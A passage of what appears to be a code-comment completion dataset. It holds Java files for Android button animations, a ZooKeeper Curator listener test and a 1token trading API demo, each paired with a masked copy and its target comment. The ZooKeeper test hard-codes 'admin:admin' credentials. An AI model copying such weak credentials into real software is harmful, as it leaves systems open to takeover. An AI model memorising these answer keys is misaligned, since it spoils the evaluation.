LinearLayout.LayoutParams.WRAP_CONTENT
);
lps.leftMargin=(int)(l- xOri* deltaX);
lps.topMargin =(int)(t- yOri* deltaY);
//System.out.println("leftmargin: "+lps.leftMargin);
//System.out.println("topmargin: "+lps.topMargin);
inoutimagebutton.setLayoutParams(lps);
inoutimagebutton.setVisibility(View.GONE);
}
});
}
}
/**
* 獲取位置代碼(其實貌似都冇乜用)
*/
public int getPosCode(){
return this.pc;
}
/*
*舊有內容,因為佢原來冇真正喐控件嘅物理位置,就要模擬返出點擊父layout時嘅位置,咁嘅話做onclicklistener會比較麻煩
private List<TouchObject> preTouch(ViewGroup viewgroup) {
List<TouchObject> objects = new ArrayList<TouchObject>();
for (int i = 0; i < viewgroup.getChildCount(); i++) {
final LinearLayout inoutimagebutton = (LinearLayout) viewgroup.getChildAt(i);
double marginTop = Math.sin(36.0 * i * Math.PI / 180) * R;
double marginRight = Math.cos(36.0 * i * Math.PI / 180) * R;
Point point = new Point((int) marginRight, (int) marginTop);
Rect animationRect = myAnimations.getAnimationRect(inoutimagebutton, point);
TouchObject obj = new TouchObject();
obj.setTouchId(inoutimagebutton.getId());
obj.setTouchArea(animationRect);
objects.add(obj);
}
return objects;
}
public static Rect getAnimationRect(LinearLayout btn, Point point) {
Rect r = new Rect();
r.left = btn.getLeft() - point.x;
r.top = btn.getTop() - point.y;
r.right = btn.getRight() - point.x;
r.bottom = btn.getBottom() - point.y;
return r;
}
*/
/**
* 自轉函數(原本就有嘅靜態函數,未實體化都可以調用)
* @param fromDegrees 從幾多度
* @param toDegrees 到幾多度
* @param durationMillis 轉幾耐
*/
public static Animation getRotateAnimation(float fromDegrees, float toDegrees, int durationMillis) {
RotateAnimation rotate = new RotateAnimation(fromDegrees, toDegrees, Animation.RELATIVE_TO_SELF, 0.5f, Animation.RELATIVE_TO_SELF, 0.5f);
rotate.setDuration(durationMillis);
rotate.setFillAfter(true);
return rotate;
}
} | 1rfsNet/GOOJPRT-Printer-Driver | MTP 标签label printer/MTP-2 BT SDK/MyPrinter#6/src/com/lvrenyang/pathbutton/myAnimations.java | 3,262 | // 顺序倒一下比较舒服 | line_comment | zh-cn | package com.lvrenyang.pathbutton;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.Animation;
import android.view.animation.Animation.AnimationListener;
import android.view.animation.AnticipateInterpolator;
import android.view.animation.OvershootInterpolator;
import android.view.animation.RotateAnimation;
import android.view.animation.TranslateAnimation;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
public class myAnimations {
public final int R ; // 半徑
public static byte
RIGHTBOTTOM=1,
CENTERBOTTOM=2,
LEFTBOTTOM=3,
LEFTCENTER=4,
LEFTTOP=5,
CENTERTOP=6,
RIGHTTOP=7,
RIGHTCENTER=8;
private int pc; //位置代號
private ViewGroup clayout; //父laoyout
private final int amount; //有幾多個按鈕
private double fullangle=180.0;//在幾大嘅角度內排佈
private byte xOri=1,yOri=1; //x、y值嘅方向,即系向上還是向下
/**
* 構造函數
* @param comlayout 包裹彈出按鈕嘅layout
* @param poscode 位置代號,分別對應RIGHTBOTTOM、CENTERBOTTOM、LEFTBOTTOM、LEFTCENTER、LEFTTOP、CENTERTOP、RIGHTTOP、RIGHTCENTER
* @param radius 半徑
*/
public myAnimations(ViewGroup comlayout,int poscode,int radius){
this.pc=poscode;
this.clayout=comlayout;
this.amount=clayout.getChildCount();
this.R=radius;
if(poscode==RIGHTBOTTOM){ //右下角
fullangle=90;
xOri=-1;yOri=-1;
}else if(poscode==CENTERBOTTOM){//中下
fullangle=180;
xOri=-1;yOri=-1;
}else if(poscode==LEFTBOTTOM){ //左下角
fullangle=90;
xOri=1;yOri=-1;
}else if(poscode==LEFTCENTER){ //左中
fullangle=180;
xOri=1;yOri=-1;
}else if(poscode==LEFTTOP){ //左上角
fullangle=90;
xOri=1;yOri=1;
}else if(poscode==CENTERTOP){ //中上
fullangle=180;
xOri=-1;yOri=1;
}else if(poscode==RIGHTTOP){ //右上角
fullangle=90;
xOri=-1;yOri=1;
}else if(poscode==RIGHTCENTER){ //右中
fullangle=180;
xOri=-1;yOri=-1;
}
}
/**
* 彈幾個按鈕出嚟
* @param durationMillis 用幾多時間
*/
public void startAnimationsIn(int durationMillis) {
/*
List<TouchObject> preTouch = preTouch(clayout);
composerLayout layout = (composerLayout) clayout;
if (!layout.isInit())
layout.initTouches(preTouch);
layout.setShow(true);
*/
for (int i = 0; i < clayout.getChildCount(); i++) {
final LinearLayout inoutimagebutton = (LinearLayout) clayout.getChildAt(i);
double offangle=fullangle/(amount-1);
//double marginTop = Math.sin(offangle * i * Math.PI / 180) * R;
//double marginRight = Math.cos(offangle * i * Math.PI / 180) * R;
final double deltaY,deltaX;
if(pc==LEFTCENTER || pc==RIGHTCENTER){
deltaX = Math.sin(offangle * i * Math.PI / 180) * R;
deltaY = Math.cos(offangle * i * Math.PI / 180) * R;
}else{
deltaY = Math.sin(offangle * i * Math.PI / 180) * R;
deltaX = Math.cos(offangle * i * Math.PI / 180) * R;
}
inoutimagebutton.setVisibility(View.VISIBLE);
Animation animation = new TranslateAnimation(0, (float)(xOri* deltaX), 0, (float)(yOri* deltaY));
/*
* 如果呢句為true,因為佢實際after嘅位置係從物理位置計起,最後因為物理位置變化咗而長咗一倍;
* (可以將animation嘅位置視為影子位置。開始先喐咗影子位置去x,物理位置仍喺0。呢個時候animation結束,就將物理位置移到x。由於set咗fillafter,所以影子對於物理位置又移多x,所以影子位置會變咗2x。所以呢度一定唔可以true嘅)
* 但如果係false嘅話,估計因為animationEnd同after有少少時間差,而出現最後閃一閃,影子稍微喺2x嘅位置出現一瞬間又去返x。其實影響都唔算大,你部機可能睇唔倒添。但好似有少少掃灰塵入地毯底嘅感覺,問題並冇解決。
* (只有彈出嘅時候有呢個問題,因為收埋嘅時候直接設咗visible做gone)
animation.setFillAfter(true);
*/
animation.setFillEnabled(true);//加咗呢句嘢,最後就唔會閃一閃。(先用animation移影子位置、再用layoutParams喐物理位置~呢種方法就有呢個同唔同步嘅問題,除非你settimeout咁去改物理位置。例如一共要移x距離,用1秒去完成,每隔0.1秒就將佢物理位置改變x/10。)
animation.setDuration(durationMillis);
animation.setStartOffset((i * 100) / (-1 + clayout.getChildCount()));
animation.setInterpolator(new OvershootInterpolator(2F));
//喐
inoutimagebutton.startAnimation(animation);
//喐完就改埋嗰啲button嘅實際位置(animation只系外表去咗第度,實際位置依然喺返舊時嗰度)
//因為animation係異步嘅,如果直接start完animate就set按鈕嘅位置,就有可能佢未喐完就飛咗過去
animation.setAnimationListener(new AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationRepeat(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationEnd(Animation animation) {
// TODO Auto-generated method stub
int l=inoutimagebutton.getLeft();
int t=inoutimagebutton.getTop();
RelativeLayout.LayoutParams lps = new RelativeLayout.LayoutParams(
LinearLayout.LayoutParams.WRAP_CONTENT,
LinearLayout.LayoutParams.WRAP_CONTENT
);
lps.leftMargin=(int)(l+xOri* deltaX);
lps.topMargin =(int)(t+yOri* deltaY);
//System.out.println("oldleft: "+l+" leftmargin: "+lps.leftMargin);
//System.out.println("oldtop: "+t+" topmargin: "+lps.topMargin);
inoutimagebutton.setLayoutParams(lps);
}
});
}
}
/**
* 收埋幾個按鈕入去
* @param durationMillis 用幾多時間
*/
public void startAnimationsOut( int durationMillis) {
for (int i = 0; i < clayout.getChildCount(); i++) {
final LinearLayout inoutimagebutton = (LinearLayout) clayout.getChildAt(i);
double offangle=fullangle/(amount-1);
final double deltaY,deltaX;
if(pc==LEFTCENTER || pc==RIGHTCENTER){
deltaX = Math.sin(offangle * i * Math.PI / 180) * R;
deltaY = Math.cos(offangle * i * Math.PI / 180) * R;
}else{
deltaY = Math.sin(offangle * i * Math.PI / 180) * R;
deltaX = Math.cos(offangle * i * Math.PI / 180) * R;
}
Animation animation = new TranslateAnimation(0,-(float)(xOri*deltaX), 0, -(float)(yOri*deltaY));
//animation.setFillAfter(true);
animation.setDuration(durationMillis);
animation.setStartOffset(((clayout.getChildCount() - i) * 100) / (-1 + clayout.getChildCount()));// 顺序 <SUF>
animation.setInterpolator(new AnticipateInterpolator(2F));
//喐
inoutimagebutton.startAnimation(animation);
animation.setAnimationListener(new AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationRepeat(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationEnd(Animation animation) {
// TODO Auto-generated method stub
int l=inoutimagebutton.getLeft();
int t=inoutimagebutton.getTop();
RelativeLayout.LayoutParams lps = new RelativeLayout.LayoutParams(
LinearLayout.LayoutParams.WRAP_CONTENT,
LinearLayout.LayoutParams.WRAP_CONTENT
);
lps.leftMargin=(int)(l- xOri* deltaX);
lps.topMargin =(int)(t- yOri* deltaY);
//System.out.println("leftmargin: "+lps.leftMargin);
//System.out.println("topmargin: "+lps.topMargin);
inoutimagebutton.setLayoutParams(lps);
inoutimagebutton.setVisibility(View.GONE);
}
});
}
}
/**
* 獲取位置代碼(其實貌似都冇乜用)
*/
public int getPosCode(){
return this.pc;
}
/*
*舊有內容,因為佢原來冇真正喐控件嘅物理位置,就要模擬返出點擊父layout時嘅位置,咁嘅話做onclicklistener會比較麻煩
private List<TouchObject> preTouch(ViewGroup viewgroup) {
List<TouchObject> objects = new ArrayList<TouchObject>();
for (int i = 0; i < viewgroup.getChildCount(); i++) {
final LinearLayout inoutimagebutton = (LinearLayout) viewgroup.getChildAt(i);
double marginTop = Math.sin(36.0 * i * Math.PI / 180) * R;
double marginRight = Math.cos(36.0 * i * Math.PI / 180) * R;
Point point = new Point((int) marginRight, (int) marginTop);
Rect animationRect = myAnimations.getAnimationRect(inoutimagebutton, point);
TouchObject obj = new TouchObject();
obj.setTouchId(inoutimagebutton.getId());
obj.setTouchArea(animationRect);
objects.add(obj);
}
return objects;
}
public static Rect getAnimationRect(LinearLayout btn, Point point) {
Rect r = new Rect();
r.left = btn.getLeft() - point.x;
r.top = btn.getTop() - point.y;
r.right = btn.getRight() - point.x;
r.bottom = btn.getBottom() - point.y;
return r;
}
*/
/**
* 自轉函數(原本就有嘅靜態函數,未實體化都可以調用)
* @param fromDegrees 從幾多度
* @param toDegrees 到幾多度
* @param durationMillis 轉幾耐
*/
public static Animation getRotateAnimation(float fromDegrees, float toDegrees, int durationMillis) {
RotateAnimation rotate = new RotateAnimation(fromDegrees, toDegrees, Animation.RELATIVE_TO_SELF, 0.5f, Animation.RELATIVE_TO_SELF, 0.5f);
rotate.setDuration(durationMillis);
rotate.setFillAfter(true);
return rotate;
}
} | 0 |
11262_11 | package com.lxr.iot.zookeeper;
import org.apache.curator.RetryPolicy;
import org.apache.curator.framework.CuratorFramework;
import org.apache.curator.framework.CuratorFrameworkFactory;
import org.apache.curator.framework.api.ACLProvider;
import org.apache.curator.framework.api.CuratorEvent;
import org.apache.curator.framework.api.CuratorListener;
import org.apache.curator.framework.recipes.cache.*;
import org.apache.curator.retry.ExponentialBackoffRetry;
import org.apache.curator.retry.RetryNTimes;
import org.apache.zookeeper.WatchedEvent;
import org.apache.zookeeper.Watcher;
import org.apache.zookeeper.ZooDefs;
import org.apache.zookeeper.data.ACL;
import org.apache.zookeeper.data.Id;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/**
* ceshi
*
* @author lxr
* @create 2017-12-12 14:31
**/
public class testZk {
/**
* 先测试玩玩
* @描述:XXXXXXX
* @param args
* @return void
* @exception
* @createTime:2016年5月17日
* @author: songqinghu
* @throws Exception
*/
public static void main(String[] args) throws Exception {
CuratorFramework client = clientTwo();
//setListenterDateNode();
//setListenterThreeOne(client);
// setListenterThreeTwo(client);
setListenterThreeThree(client);
// getDataNode(client, "/two");
// setDataNode(client, "/two", "sss");
}
/**
*
* @描述:创建一个zookeeper连接---连接方式一: 最简单的连接
* @return void
* @exception
* @createTime:2016年5月17日
* @author: songqinghu
*/
private static CuratorFramework clientOne(){
//zk 地址
String connectString = "10.125.2.44:2181";
// 连接时间 和重试次数
RetryPolicy retryPolicy = new ExponentialBackoffRetry(1000, 3);
CuratorFramework client = CuratorFrameworkFactory.newClient(connectString, retryPolicy);
client.start();
return client;
}
/**
*
* @描述:创建一个zookeeper连接---连接方式二:优选这个
* @return void
* @exception
* @createTime:2016年5月17日
* @author: songqinghu
*/
private static CuratorFramework clientTwo(){
//默认创建的根节点是没有做权限控制的--需要自己手动加权限???----
ACLProvider aclProvider = new ACLProvider() {
private List<ACL> acl ;
@Override
public List<ACL> getDefaultAcl() {
if(acl ==null){
ArrayList<ACL> acl = ZooDefs.Ids.CREATOR_ALL_ACL;
acl.clear();
acl.add(new ACL(ZooDefs.Perms.ALL, new Id("auth", "admin:admin") ));
this.acl = acl;
}
return acl;
}
@Override
public List<ACL> getAclForPath(String path) {
return acl;
}
};
String scheme = "digest";
byte[] auth = "admin:admin".getBytes();
int connectionTimeoutMs = 5000;
String connectString = "127.0.0.1:2181";
String namespace = "testnamespace";
CuratorFramework client = CuratorFrameworkFactory.builder().aclProvider(aclProvider).
authorization(scheme, auth).
connectionTimeoutMs(connectionTimeoutMs).
connectString(connectString).
namespace(namespace).
retryPolicy(new RetryNTimes(Integer.MAX_VALUE, 1000)).build();
client.start();
return client;
}
/**
*
* @描述:第一种监听器的添加方式: 对指定的节点进行添加操作
* 仅仅能监控指定的本节点的数据修改,删除 操作 并且只能监听一次 --->不好
* @return void
* @exception
* @createTime:2016年5月18日
* @author: songqinghu
* @throws Exception
*/
private static void setListenterOne(CuratorFramework client) throws Exception{
// 注册观察者,当节点变动时触发
byte[] data = client.getData().usingWatcher(new Watcher() {
@Override
public void process(WatchedEvent event) {
System.out.println("获取 two 节点 监听器 : " + event);
}
}).forPath("/two");
System.out.println("two 节点数据: "+ new String(data));
}
/**
*
* @描述:第二种监听器的添加方式:
* 也是一次性的监听操作,使用后就无法在继续监听了
* @return void
* @exception
* @createTime:2016年5月18日
* @author: songqinghu
* @throws Exception
*/
private static void setListenterTwo(CuratorFramework client) throws Exception{
ExecutorService pool = Executors.newCachedThreadPool();
CuratorListener listener = new CuratorListener() {
@Override
public void eventReceived(CuratorFramework client, CuratorEvent event) throws Exception {
System.out.println("监听器 : "+ event.toString());
}
};
client.getCuratorListenable().addListener(listener,pool);
client.getData().inBackground().forPath("/two");
client.getData().inBackground().forPath("/two");
client.getData().inBackground().forPath("/two");
client.getData().inBackground().forPath("/two");
Thread.sleep(Long.MAX_VALUE );
}
/**
*
* @描述:第三种监听器的添加方式: Cache 的三种实现 实践
* Path Cache:监视一个路径下1)孩子结点的创建、2)删除,3)以及结点数据的更新。
* 产生的事件会传递给注册的PathChildrenCacheListener。
* Node Cache:监视一个结点的创建、更新、删除,并将结点的数据缓存在本地。
* Tree Cache:Path Cache和Node Cache的“合体”,监视路径下的创建、更新、删除事件,并缓存路径下所有孩子结点的数据。
* @return void
* @exception
* @createTime:2016年5月18日
* @author: songqinghu
* @throws Exception
*/
//1.path Cache 连接 路径 是否获取数据
//能监听所有的字节点 且是无限监听的模式 但是 指定目录下节点的子节点不再监听
private static void setListenterThreeOne(CuratorFramework client) throws Exception{
ExecutorService pool = Executors.newCachedThreadPool();
PathChildrenCache childrenCache = new PathChildrenCache(client, "/test", true);
PathChildrenCacheListener childrenCacheListener = new PathChildrenCacheListener() {
@Override
public void childEvent(CuratorFramework client, PathChildrenCacheEvent event) throws Exception {
System.out.println("开始进行事件分析:-----");
ChildData data = event.getData();
switch (event.getType()) {
case CHILD_ADDED:
System.out.println("CHILD_ADDED : "+ data.getPath() +" 数据:"+ data.getData());
break;
case CHILD_REMOVED:
System.out.println("CHILD_REMOVED : "+ data.getPath() +" 数据:"+ data.getData());
break;
case CHILD_UPDATED:
System.out.println("CHILD_UPDATED : "+ data.getPath() +" 数据:"+ data.getData());
break;
default:
break;
}
}
};
childrenCache.getListenable().addListener(childrenCacheListener);
System.out.println("Register zk watcher successfully!");
childrenCache.start(PathChildrenCache.StartMode.POST_INITIALIZED_EVENT);
}
//2.Node Cache 监控本节点的变化情况 连接 目录 是否压缩
//监听本节点的变化 节点可以进行修改操作 删除节点后会再次创建(空节点)
private static void setListenterThreeTwo(CuratorFramework client) throws Exception{
ExecutorService pool = Executors.newCachedThreadPool();
//设置节点的cache
final NodeCache nodeCache = new NodeCache(client, "/test", false);
nodeCache.getListenable().addListener(new NodeCacheListener() {
@Override
public void nodeChanged() throws Exception {
System.out.println("the test node is change and result is :");
System.out.println("path : "+nodeCache.getCurrentData().getPath());
System.out.println("data : "+new String(nodeCache.getCurrentData().getData()));
System.out.println("stat : "+nodeCache.getCurrentData().getStat());
}
});
nodeCache.start();
}
//3.Tree Cache
// 监控 指定节点和节点下的所有的节点的变化--无限监听 可以进行本节点的删除(不在创建)
private static void setListenterThreeThree(CuratorFramework client) throws Exception{
ExecutorService pool = Executors.newCachedThreadPool();
//设置节点的cache
TreeCache treeCache = new TreeCache(client, "/test");
//设置监听器和处理过程
treeCache.getListenable().addListener(new TreeCacheListener() {
@Override
public void childEvent(CuratorFramework client, TreeCacheEvent event) throws Exception {
ChildData data = event.getData();
if(data !=null){
switch (event.getType()) {
case NODE_ADDED:
System.out.println("NODE_ADDED : "+ data.getPath() +" 数据:"+ new String(data.getData()));
break;
case NODE_REMOVED:
System.out.println("NODE_REMOVED : "+ data.getPath() +" 数据:"+ new String(data.getData()));
break;
case NODE_UPDATED:
System.out.println("NODE_UPDATED : "+ data.getPath() +" 数据:"+ new String(data.getData()));
break;
default:
break;
}
}else{
System.out.println( "data is null : "+ event.getType());
}
}
});
//开始监听
treeCache.start();
}
}
| 1ssqq1lxr/iot_push | iot_push_common/src/main/java/com/lxr/iot/zookeeper/testZk.java | 2,425 | //默认创建的根节点是没有做权限控制的--需要自己手动加权限???---- | line_comment | zh-cn | package com.lxr.iot.zookeeper;
import org.apache.curator.RetryPolicy;
import org.apache.curator.framework.CuratorFramework;
import org.apache.curator.framework.CuratorFrameworkFactory;
import org.apache.curator.framework.api.ACLProvider;
import org.apache.curator.framework.api.CuratorEvent;
import org.apache.curator.framework.api.CuratorListener;
import org.apache.curator.framework.recipes.cache.*;
import org.apache.curator.retry.ExponentialBackoffRetry;
import org.apache.curator.retry.RetryNTimes;
import org.apache.zookeeper.WatchedEvent;
import org.apache.zookeeper.Watcher;
import org.apache.zookeeper.ZooDefs;
import org.apache.zookeeper.data.ACL;
import org.apache.zookeeper.data.Id;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/**
* ceshi
*
* @author lxr
* @create 2017-12-12 14:31
**/
public class testZk {
/**
* 先测试玩玩
* @描述:XXXXXXX
* @param args
* @return void
* @exception
* @createTime:2016年5月17日
* @author: songqinghu
* @throws Exception
*/
public static void main(String[] args) throws Exception {
CuratorFramework client = clientTwo();
//setListenterDateNode();
//setListenterThreeOne(client);
// setListenterThreeTwo(client);
setListenterThreeThree(client);
// getDataNode(client, "/two");
// setDataNode(client, "/two", "sss");
}
/**
*
* @描述:创建一个zookeeper连接---连接方式一: 最简单的连接
* @return void
* @exception
* @createTime:2016年5月17日
* @author: songqinghu
*/
private static CuratorFramework clientOne(){
//zk 地址
String connectString = "10.125.2.44:2181";
// 连接时间 和重试次数
RetryPolicy retryPolicy = new ExponentialBackoffRetry(1000, 3);
CuratorFramework client = CuratorFrameworkFactory.newClient(connectString, retryPolicy);
client.start();
return client;
}
/**
*
* @描述:创建一个zookeeper连接---连接方式二:优选这个
* @return void
* @exception
* @createTime:2016年5月17日
* @author: songqinghu
*/
private static CuratorFramework clientTwo(){
//默认 <SUF>
ACLProvider aclProvider = new ACLProvider() {
private List<ACL> acl ;
@Override
public List<ACL> getDefaultAcl() {
if(acl ==null){
ArrayList<ACL> acl = ZooDefs.Ids.CREATOR_ALL_ACL;
acl.clear();
acl.add(new ACL(ZooDefs.Perms.ALL, new Id("auth", "admin:admin") ));
this.acl = acl;
}
return acl;
}
@Override
public List<ACL> getAclForPath(String path) {
return acl;
}
};
String scheme = "digest";
byte[] auth = "admin:admin".getBytes();
int connectionTimeoutMs = 5000;
String connectString = "127.0.0.1:2181";
String namespace = "testnamespace";
CuratorFramework client = CuratorFrameworkFactory.builder().aclProvider(aclProvider).
authorization(scheme, auth).
connectionTimeoutMs(connectionTimeoutMs).
connectString(connectString).
namespace(namespace).
retryPolicy(new RetryNTimes(Integer.MAX_VALUE, 1000)).build();
client.start();
return client;
}
/**
*
* @描述:第一种监听器的添加方式: 对指定的节点进行添加操作
* 仅仅能监控指定的本节点的数据修改,删除 操作 并且只能监听一次 --->不好
* @return void
* @exception
* @createTime:2016年5月18日
* @author: songqinghu
* @throws Exception
*/
private static void setListenterOne(CuratorFramework client) throws Exception{
// 注册观察者,当节点变动时触发
byte[] data = client.getData().usingWatcher(new Watcher() {
@Override
public void process(WatchedEvent event) {
System.out.println("获取 two 节点 监听器 : " + event);
}
}).forPath("/two");
System.out.println("two 节点数据: "+ new String(data));
}
/**
*
* @描述:第二种监听器的添加方式:
* 也是一次性的监听操作,使用后就无法在继续监听了
* @return void
* @exception
* @createTime:2016年5月18日
* @author: songqinghu
* @throws Exception
*/
private static void setListenterTwo(CuratorFramework client) throws Exception{
ExecutorService pool = Executors.newCachedThreadPool();
CuratorListener listener = new CuratorListener() {
@Override
public void eventReceived(CuratorFramework client, CuratorEvent event) throws Exception {
System.out.println("监听器 : "+ event.toString());
}
};
client.getCuratorListenable().addListener(listener,pool);
client.getData().inBackground().forPath("/two");
client.getData().inBackground().forPath("/two");
client.getData().inBackground().forPath("/two");
client.getData().inBackground().forPath("/two");
Thread.sleep(Long.MAX_VALUE );
}
/**
*
* @描述:第三种监听器的添加方式: Cache 的三种实现 实践
* Path Cache:监视一个路径下1)孩子结点的创建、2)删除,3)以及结点数据的更新。
* 产生的事件会传递给注册的PathChildrenCacheListener。
* Node Cache:监视一个结点的创建、更新、删除,并将结点的数据缓存在本地。
* Tree Cache:Path Cache和Node Cache的“合体”,监视路径下的创建、更新、删除事件,并缓存路径下所有孩子结点的数据。
* @return void
* @exception
* @createTime:2016年5月18日
* @author: songqinghu
* @throws Exception
*/
//1.path Cache 连接 路径 是否获取数据
//能监听所有的字节点 且是无限监听的模式 但是 指定目录下节点的子节点不再监听
private static void setListenterThreeOne(CuratorFramework client) throws Exception{
ExecutorService pool = Executors.newCachedThreadPool();
PathChildrenCache childrenCache = new PathChildrenCache(client, "/test", true);
PathChildrenCacheListener childrenCacheListener = new PathChildrenCacheListener() {
@Override
public void childEvent(CuratorFramework client, PathChildrenCacheEvent event) throws Exception {
System.out.println("开始进行事件分析:-----");
ChildData data = event.getData();
switch (event.getType()) {
case CHILD_ADDED:
System.out.println("CHILD_ADDED : "+ data.getPath() +" 数据:"+ data.getData());
break;
case CHILD_REMOVED:
System.out.println("CHILD_REMOVED : "+ data.getPath() +" 数据:"+ data.getData());
break;
case CHILD_UPDATED:
System.out.println("CHILD_UPDATED : "+ data.getPath() +" 数据:"+ data.getData());
break;
default:
break;
}
}
};
childrenCache.getListenable().addListener(childrenCacheListener);
System.out.println("Register zk watcher successfully!");
childrenCache.start(PathChildrenCache.StartMode.POST_INITIALIZED_EVENT);
}
//2.Node Cache 监控本节点的变化情况 连接 目录 是否压缩
//监听本节点的变化 节点可以进行修改操作 删除节点后会再次创建(空节点)
private static void setListenterThreeTwo(CuratorFramework client) throws Exception{
ExecutorService pool = Executors.newCachedThreadPool();
//设置节点的cache
final NodeCache nodeCache = new NodeCache(client, "/test", false);
nodeCache.getListenable().addListener(new NodeCacheListener() {
@Override
public void nodeChanged() throws Exception {
System.out.println("the test node is change and result is :");
System.out.println("path : "+nodeCache.getCurrentData().getPath());
System.out.println("data : "+new String(nodeCache.getCurrentData().getData()));
System.out.println("stat : "+nodeCache.getCurrentData().getStat());
}
});
nodeCache.start();
}
//3.Tree Cache
// 监控 指定节点和节点下的所有的节点的变化--无限监听 可以进行本节点的删除(不在创建)
private static void setListenterThreeThree(CuratorFramework client) throws Exception{
ExecutorService pool = Executors.newCachedThreadPool();
//设置节点的cache
TreeCache treeCache = new TreeCache(client, "/test");
//设置监听器和处理过程
treeCache.getListenable().addListener(new TreeCacheListener() {
@Override
public void childEvent(CuratorFramework client, TreeCacheEvent event) throws Exception {
ChildData data = event.getData();
if(data !=null){
switch (event.getType()) {
case NODE_ADDED:
System.out.println("NODE_ADDED : "+ data.getPath() +" 数据:"+ new String(data.getData()));
break;
case NODE_REMOVED:
System.out.println("NODE_REMOVED : "+ data.getPath() +" 数据:"+ new String(data.getData()));
break;
case NODE_UPDATED:
System.out.println("NODE_UPDATED : "+ data.getPath() +" 数据:"+ new String(data.getData()));
break;
default:
break;
}
}else{
System.out.println( "data is null : "+ event.getType());
}
}
});
//开始监听
treeCache.start();
}
}
| 1 |
17950_3 | import okhttp3.*;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class demo_private {
public static String ot_key = "";
public static String ot_secret = "";
public String HOST = "https://1token.trade/api/v1/trade";
public int TimeOut = 15000;
public OkHttpClient client;
public demo_private() {
}
public static void main(String[] args) throws IOException, JSONException {
Scanner sc = new Scanner(System.in);
System.out.println("ot_key:");
ot_key = sc.next();
System.out.println("ot_secret:");
ot_secret = sc.next();
System.out.println("请输入交易账号 账号格式是 {交易所}/{交易账户名} 比如 okex/mock-1token-demo: ");
String account = sc.next();
demo_private d = new demo_private();
d.demo(account);
}
public String sha256_HMAC(String secret, String message) {
String hash = "";
try {
Mac sha256_HMAC = Mac.getInstance("HmacSHA256");
SecretKeySpec secret_key = new SecretKeySpec(secret.getBytes(), "HmacSHA256");
sha256_HMAC.init(secret_key);
byte[] bytes = sha256_HMAC.doFinal(message.getBytes());
hash = byteArrayToHexString(bytes);
System.out.println(hash);
} catch (Exception e) {
System.out.println("Error HmacSHA256 ===========" + e.getMessage());
}
return hash;
}
private String byteArrayToHexString(byte[] b) {
StringBuilder hs = new StringBuilder();
String stmp;
for (int n = 0; b != null && n < b.length; n++) {
stmp = Integer.toHexString(b[n] & 0XFF);
if (stmp.length() == 1)
hs.append('0');
hs.append(stmp);
}
return hs.toString().toLowerCase();
}
public String gen_nonce() {
return String.valueOf(System.currentTimeMillis() / 1000);
}
//获取签名
public String gen_sign(String secret, String verb, String endpoint, String nonce, String data_str) {
if (data_str == null) {
data_str = "";
}
String message = verb + endpoint + nonce + data_str;
String signature = sha256_HMAC(secret, message);
return signature;
}
//TimeOut给0 就是使用默认值 HOST也是传""或者null就是使用默认值
public Response api_call(String method, String endpoint, HashMap<String, String> params, String jsonData, int timeOut, String host) throws IOException {
if (timeOut == 0) {
timeOut = TimeOut;
}
if (host == null || host.equals("")) {
host = HOST;
}
//请求方式大写
method = method.toUpperCase();
String nonce = gen_nonce();
String url = host + endpoint;
String sign = gen_sign(ot_secret, method, endpoint, nonce, jsonData);
String params_str = "";
if (params != null) {
for (Map.Entry<String, String> entry : params.entrySet()) {
params_str += "&" + entry.getKey() + "=" + entry.getValue();
}
params_str = "?" + params_str.substring(1, params_str.length() - 1);
}
url = url + params_str;
MediaType mediaType = MediaType.parse("application/json");
RequestBody requestBody = RequestBody.create(mediaType, jsonData);
Request request = new Request.Builder().url(url).method(method, method.equals("GET") ? null : requestBody).
addHeader("Api-Nonce", nonce).
addHeader("Api-Key", ot_key).
addHeader("Api-Signature", sign).
addHeader("Content-Type", "application/json").
build();
Response response = client.newCall(request).execute();
return response;
}
public void demo(String account) throws IOException, JSONException {
client = new OkHttpClient();
System.out.println("查看账户信息");
Response r = api_call("GET", "/" + account + "/info", null, "", 0, "");
System.out.println(r.body() != null ? r.body().string() : "");
System.out.println("撤销所有订单");
r = api_call("DELETE", "/" + account + "/orders/all", null, "", 0, "");
System.out.println(r.body() != null ? r.body().string() : "");
System.out.println("下单");
JSONObject jsonObjectParams = new JSONObject();
jsonObjectParams.put("contract", "okex/btc.usdt");
jsonObjectParams.put("price", 10);
jsonObjectParams.put("bs", "b");
jsonObjectParams.put("amount", 1);
JSONObject jsonObjectParams_1 = new JSONObject();
jsonObjectParams_1.put("close", true);
jsonObjectParams.put("options", jsonObjectParams_1);
r = api_call("POST", "/" + account + "/orders", null, jsonObjectParams.toString(), 0, "");
String result = r.body().string();
System.out.println(result);
JSONObject jsonObject = new JSONObject(result);
String exchange_oid = jsonObject.getString("exchange_oid");
System.out.println("查询挂单 应该有一个挂单");
//这边解析用的原生的jsonObject 可自行选择适合的库
r = api_call("GET", "/" + account + "/orders", null, "", 0, "");
JSONArray jsonArray = new JSONArray(r.body().string());
System.out.println(jsonArray.length());
System.out.println("用 exchange_oid撤单");
HashMap<String, String> params = new HashMap<>();
params.put("exchange_oid", exchange_oid);
r = api_call("DELETE", "/" + account + "/orders", params, "", 0, "");
System.out.println(r.body() != null ? r.body().string() : "");
System.out.println("查询挂单 应该没有挂单");
r = api_call("GET", "/" + account + "/orders", null, "", 0, "");
JSONArray jsonArray_1 = new JSONArray(r.body().string());
System.out.println(jsonArray_1.length());
}
}
| 1token-tech/onetoken | demo-java/demo_private.java | 1,572 | //请求方式大写 | line_comment | zh-cn | import okhttp3.*;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class demo_private {
public static String ot_key = "";
public static String ot_secret = "";
